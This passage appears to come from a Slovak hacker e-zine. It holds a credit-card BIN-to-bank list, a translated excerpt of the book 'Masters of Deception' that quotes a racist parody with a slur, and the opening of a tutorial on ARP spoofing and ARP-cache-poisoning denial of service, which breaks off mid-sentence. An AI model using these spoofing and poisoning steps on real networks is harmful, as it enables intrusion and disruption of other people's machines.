    4820 - IBM Mid America Federal CU
    4833 - U.S. Bank
    4842 - Security Pacific Washington
    4897 - Village Bank of Cincinatti
    4906 - Barclay Card
    4916 - MBNA Bank
    4917 - Visa-BahnCard/Citibank
    4921 - Hong Kong Bank / National Bank
    5100 - Southwestern States Bankcard Ass.
    5101 - Southwestern States Bankcard Ass.
    5102 - Southwestern States Bankcard Ass.
    5103 - Southwestern States Bankcard Ass.
    5104 - Southwestern States Bankcard Ass.
    5105 - Southwestern States Bankcard Ass.
    5106 - Southwestern States Bankcard Ass.
    5107 - Southwestern States Bankcard Ass.
    5108 - Southwestern States Bankcard Ass.
    5109 - Southwestern States Bankcard Ass.
    5110 - Universal Travel Voucher
    5111 - Universal Travel Voucher
    5112 - Universal Travel Voucher
    5113 - Universal Travel Voucher
    5114 - Universal Travel Voucher
    5115 - Universal Travel Voucher
    5116 - Universal Travel Voucher
    5117 - Universal Travel Voucher
    5118 - Universal Travel Voucher
    5119 - Universal Travel Voucher
    5120 - Western States Bankcard Ass.
    5121 - Western States Bankcard Ass.
    5122 - Western States Bankcard Ass.
    5123 - Western States Bankcard Ass.
    5124 - Western States Bankcard Ass.
    5125 - Western States Bankcard Ass.
    5126 - Western States Bankcard Ass.
    5127 - Western States Bankcard Ass.
    5128 - Western States Bankcard Ass.
    5129 - Western States Bankcard Ass.
    5130 - Eurocard France
    5131 - Eurocard France
    5132 - Eurocard France
    5133 - Eurocard France
    5134 - Eurocard France
    5135 - Eurocard France
    5136 - Eurocard France
    5137 - Eurocard France
    5138 - Eurocard France
    5139 - Eurocard France
    5140 - Mountain States Bankcard Ass.
    5141 - Mountain States Bankcard Ass.
    5142 - Mountain States Bankcard Ass.
    5143 - Mountain States Bankcard Ass.
    5144 - Mountain States Bankcard Ass.
    5145 - Mountain States Bankcard Ass.
    5146 - Mountain States Bankcard Ass.
    5147 - Mountain States Bankcard Ass.
    5148 - Mountain States Bankcard Ass.
    5149 - Mountain States Bankcard Ass.
    5217 - The Bankcard Association, Inc.
    5218 - Citibank, N.A.
    5219 - Central Finance Co., Ltd.
    5220 - Sovran Bank/Central South
    5221 - Standard Bank of South Africa, Ltd.
    5222 - Security Bank & Trust Company
    5223 - Trustmark National Bank
    5224 - Midland Bank / National Westminster
    5225 - First Pennsylvania Bank, N.A.
    5226 - Eurocard Ab
    5227 - Rocky Mountain Bankcard System, Inc.
    5228 - First Union National Bank
    5229 - Sunwest Bank of Albuquerque, N.A.
    5230 - Harris Trust & Savings Bank
    5231 - The Joint Credit Card Co., Ltd
    5232 - Eurocard Deutschland
    5233 - Bancsystems Association, Inc.
    5234 - Citibank (Arizona)
    5235 - Finanacial Transaction Systems, Inc.
    5236 - First Tennessee Bank, N.A.
    5237 - Southeast Bankcard Association, Inc.
    5238 - Liberty National Bank & Trust Company
    5239 - Southeast Bank, N.A.
    5241 - Bank One Wisconsin Bankcard Corporation
    5242 - Atlantic States Ass. / Chevy Chase.
    5244 - The Joint Credit Card Co., Ltd.
    5245 - Lomas Bank, U.S.A.
    5246 - Bank of Honolulu
    5247 - First American National Bank
    5248 - Orient Finance Co., Ltd.
    5249 - First Interstate Bank of Washington
    5250 - Union Credit Company (UC Card)
    5251 - Nippon Shinpan Co., Ltd.
    5252 - Seibu Credit Co., Ltd.
    5253 - Eurocard Norge, A.S.
    5254 - Bank of America, N.A. & S.A.
    5255 - Servizi Interbancari, S.P.A.
    5256 - Commonwealth National Bank
    5257 - Dalei Finance, Inc.
    5258 - National Bank of Canada
    5259 - First Wisconsin National Bank
    5260 - First National Bank of Boston
    5261 - Texas American Bank/Fort Worth
    5262 - Service Center, Inc.
    5263 - Chemical Bank
    5264 - First Interstate Bank of Utah
    5265 - The Joint Credit Card Co., Ltd.
    5266 - Eurocard Austria
    5267 - First Florida Bank, N.A.
    5268 - The Canada Trust Co.
    5270 - The First National Bank of Anchorage
    5272 - Connecticut National Bank
    5273 - Bank of America, N.T. & S.A.
    5274 - Bank of California, N.A.
    5275 - Eurocard Ab
    5276 - Banco de Vizcaya
    5277 - First Interstate Bank of California
    5278 - National Management & Organization, S.A.
    5279 - D.C. Credit Company, Ltd.
    5280 - Fleet National Bank
    5281 - Trust Company Bank
    5282 - Wells Fargo Bank
    5283 - Union Credit Company, Ltd.
    5285 - The Joint Credit Card Co., Ltd.
    5286 - F.C.C. National Bank
    5287 - Valley National Bank of Arizona
    5288 - Banco Nacional de Mexico
    5289 - Seattle-First National Bank
    5290 - Banco Nacional de Mexico
    5291 - Signet Bank/Virginia
    5292 - Southeast Bankcard Association, Inc.
    5293 - Signet Bank/Virginia
    5294 - Eurocard France
    5295 - Eurocard France
    5296 - Million Card Service Co., Ltd.
    5297 - First Hawaiian Bank
    5298 - Bank One, Indianapolis, N.A.
    5299 - Amsouth Bank of Florida
    5300 - Bay Bank
    5308 - First Security Bank of Utah, N.A.
    5313 - National Australia Bank Limited
    5314 - International Card Systems, S.A.
    5315 - International Card Systems, S.A.
    5316 - The Citizens & Southern National Bank
    5317 - Cu Electronic Transaction Services, Inc.
    5318 - Credimatico De Panama / Mellon Bank
    5319 - National Bank
    5321 - Japan Travel Bureau, Inc.
    5322 - Banc One Wisconsin Bankcard Corporation
    5323 - Bank of New York (Delaware)
    5325 - First Virginia Bank
    5326 - Pacific Bancard Association, Inc.
    5327 - Banco Atlanta, S.A.
    5328 - NCNB National Bank of Florida
    5329 - M.B.N.A.
    5330 - Leader Federal Savings & Loan Ass.
    5332 - Sociedad Administradora
    5333 - National Bank
    5334 - Sn Diego Trust & Savings Bank
    5335 - Tokyo Credit Services., Ltd.
    5336 - The Kansai Credit Bank Credit Service
    5337 - Daiwa Credit Service / Sumisie Card
    5338 - National Bank
    5339 - First American National Bank
    5340 - The Joint Credit Card Co., Ltd.
    5347 - Equibank (Delaware), N.A.
    5348 - First National Bank
    5349 - Sun Bank, N.A.
    5350 - Bank South, N.A.
    5351 - Provident National Bank
    5353 - Commonwealth Bank of Australia
    5359 - Core States
    5362 - First National Bank of Commerce
    5371 - Rocky Mountain Bankcard System, Inc.
    5372 - Rocky Mountain Bankcard System, Inc.
    5376 - Natwest Australia Bank, Ltd.
    5379 - Bank of Louisiana in New Orleans
    5384 - San Diego Trust & Savings Bank
    5385 - Bank of Louisiana in New Orleans
    5393 - First Omni Bank
    5396 - AT&T's Universal Card
    5398 - AT&T's Universal Card
    5399 - DC Credit Co., Ltd.
    5400 - United Bankcard Association
    5401 - Card Services For Credit Unions
    5402 - New Zealand Bankcard Associates Ltd.
    5410 - Citibank / First National
    5411 - Credicard, S.A.
    5412 - Eurocard Ab
    5413 - Eurocard Norge, A.S.
    5414 - State Street Bank & Trust Co.
    5415 - Union Bank
    5416 - People's Bank
    5417 - Associates National Bank / Bank of America
    5418 - Household Bank
    5419 - Oversea-Chinese Banking Corporation, Ltd.
    5420 - Colonial National Bank
    5421 - Bank of Credit and Commerce International
    5422 - Huntington National Bank
    5423 - University Credit Union
    5424 - C.B.T. / Citibank
    5425 - Banco De Santander / Barclay Card
    5426 - Mellon Bank Delaware, N.A.
    5429 - NCNB South Carolina
    5430 - Centrust Savings Bank
    5431 - The Hongkong and Shanghai Banking Corp.
    5432 - Rocky Mountain Bankcard System, Inc.
    5433 - Eurocard International, S.A.
    5434 - National Westminster Bank
    5436 - Sistarbanc, S.A.R.L.
    5437 - The Massachusetts Co.
    5438 - U.S. League Financial Services, Inc.
    5439 - Central Bank of The South
    5440 - Ncnb National Bank
    5442 - First National Bank of Atlanta
    5443 - Eurocard International, S.A.
    5444 - The Fifth Third Bank
    5445 - The Bank of Scottsdale/.Paradise Valley
    5447 - AmeriTrust Company National Association
    5448 - Crestar Bank
    5450 - Lomas Bank, U.S.A.
    5453 - Eurocard International, S.A.
    5454 - Bank of New England-West, N.A.
    5458 - Bank of New England-West / Crestar Bank
    5460 - Citibank, N.A.
    5462 - Central Bank
    5463 - Eurocard International, S.A.
    5465 - Chase Manhattan Bank
    5469 - N.B.D. Bank Evanston, N.A.
    5472 - Bank of New England Old Colony, N.A.
    5480 - Bank of America
    5485 - Commercial National Nank of Peoria
    5485 - Citibank
    5485 - Simmons First National Bank
    5485 - Citibank
    5488 - Financial Transaction Systems, Inc.
    5489 - First American Bank of Virginia
    5493 - Credicard, S.A.
    5494 - Credit Union Card Services, Inc.
    5485 - Citibank
    5488 - Mellon Bank Delaware, N.A.
    5489 - First American Bank of Virginia
    5493 - Credicard, S.A.
    5494 - Credit Union Card Services, Inc.
    5498 - Star Bank, N.A.
    5499 - The Bankcard Association, Inc.5554 - State Street Bank & Trust Co.



    gizmo, gizmo(at)hysteria.sk


    navrat na obsah




    valka elektronickych gangu III



    tak tu je slubene dokoncenie prekladu uryvku z knihy valka elektronickych gangu III :)
    predosle casti su v prielome 10 a 11...



    Chris pochopi ze to John mu prepol medzimestskeho operatora. Tiez si mysli,
    ale nepravne, ze John je autorom toho manifesta ktory severski chalani volaju
    History of MOD. Takze Chris sa nasere a rozhodne sa ze tiez vyparati nejaky
    ten kusok.


    Chris ma stary pocitacovy program, ktory prelozi hocijaky fajl do noveho
    'jazyka'. Ked do toho programu naladuje History of MOD, vypluje to 'jive' verziu
    spominaneho dokumentu. Tento prekladaci softik jednoducho hlada niektore
    klucove slova alebo slovne spojenia, a zameni ich inymi.


    V povodnom zneni to je to 'In the early part of 1987, there were
    numerous amounts of busts in the US and in New York in particular....'
    a
    program z toho spravi 'In de early part uh 1987, dere wuz numerous amonts uh busts in de
    US and in New Yo'k in particular....'


    Pouzivanie jive programu je elektronicky ekvivalent ako dostat sa na trapnu
    humornu show s rasistickym podtonom : "Some nigga' name Co'rupt, havin' been real
    active befo'e, duzn't gots' some so'kin' computa' anymo'e and so ... sheeit, duh."


    Chris sa sam nepoklada za rasistu. Hovori ze ma kamosov cernochov v praci.
    Ked sa ho spytate preco takto zosmiesnil History of MOD: povie ze sa to zdalo byt
    smiesne. Srandovne, hovori. Ked po niekom idete, spravite cokolvek co by ho zosmiesnilo,
    hovori. Hocico. Nemal prekladaci program ktory by prozu chalanov z MOD zmenil na,
    dajme tomu eskimacky prizvuk.. proste mal jive program.


    Takze co mal robit ?


    Keby ste zili v state Texase, chapali by ste to. Chris hovori: "Tunak dole
    seci mame cizmy a klobuky. Vsetci chodime jazdit."


    John uzrie kopiu Chrisovej roboty zaciatkom 1991.


    Sedi pred pocitacom ktory vyzera ako poskladany z vyhodenych casti. Ma velku
    TV konzolu namiesto monitoru, rozbitu klavesnicu a stary Commie 64 s magnetakom.
    Jeho komp je street box, guerrilla machine.


    A tam je na obrazovke, jived History of MOD.


    "De legacy uh de underground 'clandestine' netwo'k continues and so's duz
    de war against all de self-proclaimed, so-called 'elite.'"


    John najprv tomu neveri; je to prilis v drsne. Pomaly si to precituje, zhrozeny.


    John to docita, potom si na minutku sadne, cumi na obrazovku, cumi mimo obrazovky..
    proste cumi. A mysli si, "tento chalanicko ma fakticky nema rad. Je namiereny na mna,
    a iba na mna".


    Comsec otvori svoje dvere v Maji 1991 a partneri sa v priestrannych kancelariach
    v Houstone rychlo zabyvaju. Comsec ma vysoky strop s neonmi a plynove lampy v dvoch
    koridoroch. Obcas zakladatelia Comsecu skateboarduju po dlhych prazdnych chodbach a
    sulaju sa v pisacich kreslach. Chris byva v zadnej casti budovy, v bejvaku s velkou


    Ale je tu jeden problem. Comsec nema ziadnych klientov.


    Sefovia Comsecu maju tyzdenne porady, na ktore vsetci chodia. Rozhodnu sa distribuovat
    spravy do tlace o ich zabezpecovacie sluzby. Ako kto ? Ako profesionalni ex-hackeri,
    spravia si zoznam pravdepodobnych klientov. Prescanuju si fajly na undergroundovych
    BBSkach aby nasli mena podnikov ktore boli infiltrovane, potom tam volaju a ponukaju svoje
    sluzby.


    Spravy v tlaci funguje super, pretoze v Juni 1991, menej ako mesiac po oficialnom
    debute Comsecu, casopis Time uverejni o tychto hackeroch story.


    Na druhy den okamzite zacnu zvonit telefony. A zvonia a zvonia. Nemozete si kupit lepsiu
    reklamu ako Time. Comsec ma klientov ! Jeden je konzultant reprezentujuci telekomunikacny
    priemysel, objednava si vyzkum nedavnych vypadkov regionalnych Bell spolocnosti.
    Klient zaplati US$5000 zalohu.


    Samozrejme ze publicita v Time ma aj iny efekt.


    Hore na severe, chalani z MOD citaju tieto story.


    John Lee dostane super napad ako si z Texasanov vystrelit. Preco ho to do paze nenapadlo
    uz skor ?


    Svoj plan zacne realizovat pocas toho dlheho, horuceho leta 1991. Aspon ho to odreaguje
    od skutocnosti ze sa musi potit v horucom baraku bez klimy na Kosciusko Street.
    Jeho plan je spiclovat, a je vcelku jednoduchy. John sa naloguje na Southwestern Bell
    ustrednu ktora kontroluje telefony Comsecu v Houstone.


    Potom John napise prikazy a zisti z ustredne ktore z telefony v Comsecu sa momentalne
    pouzivaju.


    Ak sa nejake pouzivaju, John vie ze momentalne prebieha nejaka konverzacia.
    Pouziva sa telefonna linka. Takze napise zopar prikazov, tak ako by to spravil
    operator, a ziska kontrolu nad danou linkou. Takto jednoducho odpocuva prebiehajucu
    koverzaciu.


    Na linke pocut tichy klik, ale nie je to ten typ hluku ktory by ste si vsimli, pokial
    na neho necakate. A nikto v Comsecu nema dovod nato aby si mysleli ze ich niekto
    odpocuva.


    John pravidelne odpocuva hovory. To je ten pravy sposob ako zistit co ma nepriatel
    za lubom a ako ocakavat kazdy krok Texasanov pred tym ako ho spravia. Takze tu mame
    Johna, ako jedno poobedie pocuva ako tato bezpecnostna firma ma telefonat od svetoznameho
    hackera, Creiga Neidorfa.


    Da sa s lahkostou povedat ze v roku 1991 niet znamejsieho hackera ako Neidorf. A to preto
    lebo rok predtym Neidorf porazil federalnu vladu v ich vlastnej hre. Mesiace potom,
    Neidorfov pripad sa stal legendou. (A roky potom sa opatrni prokutarovi ktori zvazovali
    zalovanie hackerov jeden druheho varovali pred "potiahnutim dalsieho Neidorfa.")


    Spolu-editor elektronickeho casopisu Phrack, Neidorf za zucastnil v lete 1990 v Illionse
    sudneho procesu. Bol obvineny z vlastnictva a publikovania takzvanych sukromych
    dokumentov telekomunikacnej firmy vo Phracku. Vlada argumentovala ze publikovane informacie
    mali hodnotu tisicov dolarov, na zaklade odhadov telekomunikacnej firmy. Ale v priebehu
    sudneho procesu obhajoba dokazala ze dokumenty namiesto tajnych informacii obsahovali
    informacie ktore boli verejne pristupne, Bellcore predaval tieto informacie hocikomu kto
    si zaplatil 13 dolarov za clanok v technickej tlaci. Zhrozeni federalni prokuratori
    vzdali pripad este pred tym ako sa dostal pred porotu. Ano, Neidorf bol pre niektorych
    hackerov hrdina. Ale bola to jeho notorickost ktora ho preslavila v undergrounde
    kyberpriestoru.


    Teraz okolo obeda pracovneho dna v lete 1991, Chris Goggans odpovedal na telefonat
    v Comsecu a na druhej strane linky je Neidorf. (John potichu odpocuva.) Telefonat je
    iba priatelsky pokec, ale dnes je Neidorf fakticky nasraty. Problem je ze stale dostava
    anonymne telefonaty, furt ho niekto otravuje. Mysli si ze vie kto je zodpovedny, ale
    chce aby sa to skoncilo.


    "Hm vyzera to ze ti robia nieco podobne ako robia aj nam," odpoveda Chris.


    "Niekto prave volal mojmu otcovi do Virginie", hovori Neidorf. Chris nie je prekvapeny,
    ale je za svojho kamosa tiez nastvany. Ma teoriu o tom kto by za tym vsetkym mohol byt.


    "Vyzera to na Corrupta," hovori Chris, opakujuc svoje podozrenie ze John Lee ho
    otravuje aj v Houstone. "Vyzera to ze to on vsetko robi." V tej chvili zazvoni druhy
    telefon v Houstone, dalsi prichodzi telefonat pre Comsec. Chris poprosi Neidorfa aby
    chvilocku pockal na linke, a zdvihne druhy telefon. Hlas na druhej strane tej druhej linky
    hovori Chrisovi, "Heh no jo, to fakt vyzera ze to robim ja."


    Chris je taky nasraty, ze ani nemoze normalne rozmyslat. John Lee odpocuval linky !
    Sukromne telefonaty Comsecu ! Ako dlho ? Ako casto ? Co vsetko pocul ? Co vsetko vykecal
    svojim kamosom v MODe ? Ked sa toto vsetko dostane von, Comsec bude na posmech !


    Najali by ste si firmu na computer security, ktora si ani svoje vlastne telefonne
    linky nevie zabezpecit ?


    Chris zavola FBI, nevediac ze Kaiser a Staples uz cele mesiace zhromazduju dokazy
    na sudny proces proti MOD. Ci Chrisov telefonat ovplyvnil nacasovanie nie je zname, ale
    sudny proces proti MOD zacne v Juli 1992.


    Sudne obvinenie ma 11 casti a obvinuje Marka, Paula, Eliho, Johna a dalsich clenov
    MOD z nelegalnych prienikov do pocitacov. Kazda z 11 casti obvinenia je postihnutelna
    minimalne piatimi rokmi vo vazeni. Kazda z 11 casti ma maximalnu pokutu 250 000 dolarov.


    Tento sudny pripad je taky velky, taky senzacny a taky prevratny, ze US prokurator
    sam zvola tlacovu konferenciu v lobby St. Andrews Plaza, na riaditelstve v Manhattane.
    Chce ohlasit tento pripad mediam. Je to spichnute tak trochu na rychlo, rady skladacich
    stoliciek siahaju az po stenu s detektormi kovov a vpredu po nepriestrelnu budku US-Marshala.
    Dnu sa sype retaz navychyrenejsich New Yorskych novinarov a pytaju si handouty.
    Obzaloba je zhrnuta do 23 stranoveho reportu prehusteneho faktami, vypoctami, pravnickymi
    vecickami. Prehlasenie pre tlac ktore sa snazi vysvetlit ze o com toto obvinenie vlastne je, je
    samo o sebe 8 stran dlhe. A potom mame este grafy na tabuli, ktore prichystal agent
    Secret Service Rick Harris.


    Hlavnu pointu ktoru sa obzaloba snazi preukazat je celo-narodny rozsah tychto pocitacovych
    prienikov.


    "Toto je kriminalita buducnosti," hovori US prokurator Otto Obermaier, vysoky chlapik v
    tmavom obleku. Ukazuje prstom a zdoraznuje odpor voci pocitacovej kriminalite. "Odkaz ktory
    chceme poslat do sveta z tejto obzaloby je, ze takyto druh cinnosti nebude tolerovany."


    Clenova MOD su obvineni z najrozsiahlejsich prienikov najvacich a najsenzitivnejsich
    pocitacovych systemov v krajine. Vlada sa rozhodla ze z tychto teenagerov spravi vzorovy
    priklad. Odkaz, ako to vola Obermaier, npripusta ziadnu toleranciu. Ak si hacker ktory
    rozmysla ze sa vyda po stopach Masters of Deception, radsej si to rozmysli.


    Ani pomaly nie je miesto pod podiom - vsetci novinari sa snazia uchytit co najviac
    informacii. Su tam prokuratori. Potom su tam agenti FBI a Secret Service a su tam aj
    vysetrovatelia z Ministerstva Spravodlivosti USA - odbor Pocitacovej kriminality.


    Obermaier povie novinarom vsetko o tychto trestnych cinoch. Hovori o tom ako chalani
    sposobili firmam skody v tisicoch dolarov vo forme vyplat bezpecnostnym specialistom,
    stratenym casom na serveroch. Ale nepovie im ze tito nebezpecni hackeri su vlastne iba
    skupina teenagerskych chalanov ktori su priatelia, lebo zdielaju spolocne hobby.


    Tato story sa dostane az do vecernych sprav na NBC s Tomom Brokawom. Je to ten pravy
    pribeh s ktorym Brokaw ukoncuje spravy - reportaz na zamyslenie. Je tam zaber ako Mark
    vyucuje pocitacovu triedu v New School for Social Research v Greenwich Village. Reportaz
    sa konci na tmavej dazdivej ulici. Mark hovori reporterovi NBC ze je jednoznacne obet
    politickeho vysetrovania.


    Keby bol z toho byval sudny spor, tak tento pripad s MOD by sluzil ako precedens celej
    krajine, spravila by sa merna latka, podla ktorej by vlada mohla odsudzovat takzvanych
    pocitacovych kriminalnikov.


    Ale nebol z toho sudny spor, pretoze vsetci chalani z MOD sa pocas roka deklarovali pred
    sudcom ako vinny. Vsetci to vzdali. Co im zostavalo potom ? Bolo to na prokuratoroch aby
    doporucili vysku trestu a na sudcovi aby to schvalil.


    Hackeri ktori prichadzaju do budovy Citicorpu prvy piatok vo Februari 1994 maju
    tazke boty, siroke nohavice a obite kanady, vysoko zasnurovane. Keby ale bol Jul,
    samozrejme by neboli obleceni inak. Je to ich uniforma.


    Dnesna session je prve stretnutie po takmer piatich rokoch na ktorom nie je pritomny
    nikto z MOD - Mark, Paul, Eli a John su vsetci vo vazeni. Su tu tucty hackerov, vo veku
    od 14 do 40, omnoho viac ucastnikov ako vtedy zaciatkom 1989. Odvtedy sa svet o dost zmenil,
    odkedy sa Mark, Eli a John nejak nasli, a zacali spolu fungovat.


    Je to vlastne ako keby ich cely svet dobehol. To co robili chalani MOD pre zabavu -
    rekreacne behali cez kontinenty po kabloch - sa stalo narodnym sportom. "Surfovanie Netu" je
    teraz popularnejsie ako kedy bolo CB radio a ludia vsade si kupuju svoj prvy pocitac
    a pripajaju sa na online sluzby, aby sa spojili s informaciami z celeho sveta.


    Preto nie je prekvapive, ze novi clenovia zvedavej generacie zaplnaju atrium Citicorpu.
    Dnes vecer je ale diera tam, kde byval kedysi Mark, pri telefonnych automatoch, tam kde
    tak rad postaval kym sa skupina kamosov zbehla okolo neho a davala mu technicke otazky.
    Dnes vecer ho tam nenajdete vo familiarnom modro-bielom pulovri, nebudete pocut jeho
    hlas. Dnes vecer je Mark daleko. K vratnici Pennsylvanskej okresnej vaznice prisiel neskoro
    vecer v Januari 1994, dvere za nim zapadli este pred tym ako sa stacil rozlucit s priatelmi.
    A nedostane sa odtial az do Novembra. Sudca ktory odsudil Marka povedal, ze Mark svojimi
    aktivitami bol messenger, vzor pre hackersku komunitu. A tak sa sudca rozhodol poslat naspat
    message.



    Po sest-mesacnom vazeni vysiel John chudsi, svalnatejsi, vlastne v najlepsej forme v akej
    kedy bol. Na jesen 1994 sa rozhodol ist naspat na Brooklyn College, kde nastupil studium
    filmovej tvorby. Ma kopec napadov na filmy ktore by xcel zrealizovat.


    Po skonceni vazby vo federalnom vazeni v Pennsylvanii sa Paul dostane na slobodu na jar
    1994. Mark sa ma dostat von niekedy okolo Dna Vdakyvzdania. Pre obidvoch z nich sa hackerske
    dni stanu vybornym treningom na job: Paul pracuje pre firmu ktora patra po nezvestnych
    osobach s vyuzitim verejnych databaz. Mark prevadzkuje servre v Echo, Manhattanskom Inet
    providerovi. Marka maju uzivatelia v Echo tak radi, ze zalozia malu zbierku kym sedi v lapaku
    a kupia mu novy laptop ked sa vrati na slobodu.


    Legion of Doom a Comsec su uz iba pamiatka. Comsec skoncil cinnost a Chris Goggans pracuje
    v Austine pre Dell, skuma pokrocile bezdratove siete. S ostatnymi clenmi LOD zozbierali
    tisicky odkazov, e-mailov, elektronickeho grafitti z roznych elitnych BBSiek z 1980-tych rokov
    a predava to cez firmu LOD Communications. Predava aj tricka - na hackerskej stretavke
    Ho-Ho Con v decembri 1992 v Houstone predava tricka s logom "The Hacker War" krizom cez
    prsia s mapou Spojenych Statov s vyznacenymi miestami najvacsich bitiek, hlavne Houston, Austin
    a New York.


    Na zadnej strane tricka je napisane: LOD 1, MOD 0. A je tam hlaska ktora je udajne od Corrupta,
    ktoru Chris dostal z tajnej databazy MOD: "Nezalezi len na tom aby sme vyhrali, ale na tom
    aby vsetci ostatni prehrali."



    Michelle Slatalla a Joshua Quittner, quit@newsday.com



    Autori su reporteri New Yorskeho platku Newsday. Su zenati, maju dve dcery a macku so
    siestimi prstami. Toto bol uryvok z ich knizky "Masters of Deception: The Gang That
    Ruled Cyberspace" ktora vysla v nakladatelstve Harper-Collins v roku 1995. Na Slovensku
    alebo v Cechach podla mojej informacie preklad nikdy nevysiel..


    preklad pajka




    navrat na obsah





    redir hry s arp a icmp



    existuju bugy a existuju features. castokrat je rozdiel medzi oboma iba v oku
    vsemohuceho. chcem ukazat dva legitimne protokoly, ARP a ICMP, ktore ked sa
    spravne implementuju, dokazu spravit cosi co nie je, ehm, nie je ziaduce.



    kym pasivne utoky (sniffing) ktore zneuzivaju rootovsky pristup po LANke su
    extremne popularne a aj lamerske rootkity maju vzdy aspon nejaky jeden net sniffer,
    aktivne utoky zase nie su az take rozsirene. ale aktivna ucast v zivote vasej
    LANky vam moze priniest kopec zabavy a radosti. to ste asi uz vedeli, akurat technicke
    detajly boli nejak zahmlene. takze, budiz svetlo.



    postupy ktore vysvetlim zahrnuju spoofing a DoS. aj ked ine druhy spoofingu,
    ako napriklad IP blind spoofing, su omnoho vseobecnejsie a silnejsie, z pohladu
    vyuzitelnosti pozaduju kopu roboty, hadania, a tazko sa implementuju. ARP spoofovanie je
    naproti tomu velmi jednoduche a robustne.



    aj ked ARP spoofovanie je mozne iba na lokalnej sieti, moze to znamenat seriozny
    bezpecnostny problem ktory rozsiri uz existujucu dieru v bezpecnosti. ak sa niekto nabura
    na jeden server na subnete, ARP spoofing moze byt pouzity na napadnutie ostatnych masin na nom.



    zoberme si takuto hypoteticku siet


    IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
    hostname cat rat dog bat
    hw addr AA:AA BB:BB CC:CC DD:DD (pre skratenie)


    to vsetko mame pospajane na ethernete jednoduchym sposobom (t.j. ziadne switche,
    ziadne smart huby). dajme tomu ze si hackol masinu cat, mas na nej roota a chces sa
    dostat na dog. vies ze dog ma trust vztah s rat, takze ak dokazes uspesne spoofnut rat, mozes
    cosi ziskat.



    prva vec co nas napadne (myslim ze kazdeho to asi raz napadlo) je "preco si nenastavim
    svoju IP adresu na adresu tej druhej masiny a..." To zial nefunguje, alebo aspon nefici to
    poriadne. ak povies ethernetovemu driveru na cat ze jeho IP adresa je 10.0.0.2, zacne odpovedat na
    ARP requesty na tej IP adrese. ale takisto aj rat. je to race podmienka a neexistuje v nej
    vitaz. ale lahko sa moze stat ze sa z teba stane porazeny, pretoze tato konkretna situacia
    sa odohrava dost casto ked sa nejaka masinka zle nastavi na uz existujucu IP adresu, takze kopu
    softwaru si takuto vec hned vsimne a okamzite spustaju poplach. aj vselijake traffic analyzere na taketo
    nieco upozornuju. riadok v syslogu ktory hovori cosi neprijemne (spominajuc ethernetovu adresu cat-u) na
    konzole LAN administratora nie je zrovna to co potrebujes. a to co ty chces nemusis vobec mat,
    cize dostat fungujuce spojenie.



    tomuto ale mozeme samozrejme pomoct. program na konci tohoto clanku, send_arp.c,
    moze byt uzitocny nastroj. ako hovori jeho meno, posle ARP packet [presnejsie povedane
    ARP reply: pretoze v ARP protokole bude reply s radostou privitany aj ked si ho nikto nevyziadal.
    request by tiez v pohode fungoval, toto je dost divna logika ARP protokolu] na siet a mozes spravit
    z tohoto packetu co chces. co potrebujes je schopnost specifikovat zdrojovu a cielovu IP a hardwarova adresu.



    zaprve nechces aby bol tvoj ethernet driver moc ukecany, a to sa lahko docieli
    prikazom ifconfig -arp. samozrejme bude potrebovat aj tak ARP info, takze ho budes
    musiet krmit do kernelu manualne cez arp(8). najdolezitejsia cast je presvecit svojich
    susedov. v tomto pripade chces aby dog veril ze hardwarova adresa rat je ta co ma cat (AA:AA),
    takze posles ARP reply so zdrojovou IP adresou 10.0.0.2, zdrojovou hw adresou AA:AA,
    cielovou IP adresou 10.0.0.3 a cielovou hardwarovou adresou CC:CC. teraz si mysli dog ze
    rat je na AA:AA. samozrejme zaznam v cache expajruje, takze ho musime updatovat (request musime
    znovu a znovu posielat). ako casto, to zalezi od konkretneho systemu, ale kazdych 40 sekund
    by malo stacit vo vacsine pripadov. kludne to poslite aj castejsie, nic sa neublizi.



    moze nastat komplikacia v suvislosti s ARP caching. niektore systemy, napr. Linux sa budu
    snazit updatovat cache vyslanim unicast ARP requestu na cachovanu adresu (ako ked ti manzelka
    zavola aby sa presvecila ze si tam). takyto request moze vsetko posrat, pretoze zmeni
    ARP zaznam obete, ktory si prave fejkol, takze tomu musime zabranit. toto dosiahneme tak,
    zze nakrmime "manzelku" s reply packetmi ktore si nikdy nevyziadala. prevencia je najlepsi liek,
    ako vzdy. tentokrat, skutocny packet z dog na rat by mal byt zaslany, akurat ho posle cat, a nie dog,
    ale rat to nedokaze rozlisit. opat, pokial to spravime kazdych 40 sekund, vacsinou to staci.



    takze postup je jednoduchy. nabehni aliasovy interface, napr. eth0:1 (alebo pouzi uz existujuci,
    to je fuk), s IP adresou rat a so zapnutym ARP protokolom - najprv musis nastavit cache vstupy,
    a nebude to fungovat na ne-arpovom interfaci. nastav host route pre dog cez spravny interface. nastav
    cache vstup pre dog, vypni arp, a vsetko mas nastavene.



    teraz posli send_arp (na dog aj na rat) a teraz si dog mysli ze si rat. pamataj na to ze mas
    dookola posielat tieto ARP packety na dog aj rat.



    tento utok funguje iba na lokalnej sieti, samozrejme (vo vseobecnosti sa da povedat
    ze ho mozes pouzit tak daleko ako mozu ist ARP packety, vacsinou to vsak nie je velmi daleko, pretoze
    sa skoro nikdy ARP packety neroutuju). zaujimave rozsirenie je vymenit hardwarovu adresu v hore nacrtnutom
    sceneriu s routerovou adresou. ak to funguje (nie som si isty ze to vzdy bude fungovat, implementacia ARP
    routeru sa tazsie da okaslat a kedze to nechcem skusat na skutocnych routeroch, neviem, ale jednoducho
    neexistuje dovod preco nie) mozes sa lahko tvarit ako masina na lokalnej sieti pre cely svet. takze
    cielova masina moze vlastne byt hocikde, ale masina na ktoru sa tvaris musi byt na tej istej LANke.



    co este mozeme robit



    okrem spoofovania mozes s ARP robit este kopec veci. jedinym limitom je obloha. DoS je
    najzavnejsou aplikaciou.



    krmit obet zlou hardwarovou adresou je silny sposob ako ju umlcit. mozes zabranit aby
    komunikovala s konkretnou masinou (a velkost ARP cache zvycajne umoznuje zahrnut do toho
    celu siet, takze dokazes efektivne zabranit komunikacii s celou sietou). zjavnou obetou
    je router. Zaplnanie cache je opat dvoj-smerne: mal by si krmit aj victim system, aj
    system na ktory nexces aby victim komunikoval. Najjednoduchsi sposob je krmit neexistujucu
    adresu. Ale nie je to ta najefektivnejsia metoda, pretoze system rychlo pride na to ze
    s nikym nekomunikuje a posle ARP request. Samozrejme ze tvoj dalsi vyslany jed to vynuluje, ale
    musis to robit dost casto. Efektivnejsi sposob je krmit victim hardwarovou adresou nespravnej
    masiny, ktora sama o sebe je v pohode na sieti. zalezi to na konkretnej situacii, ale casto
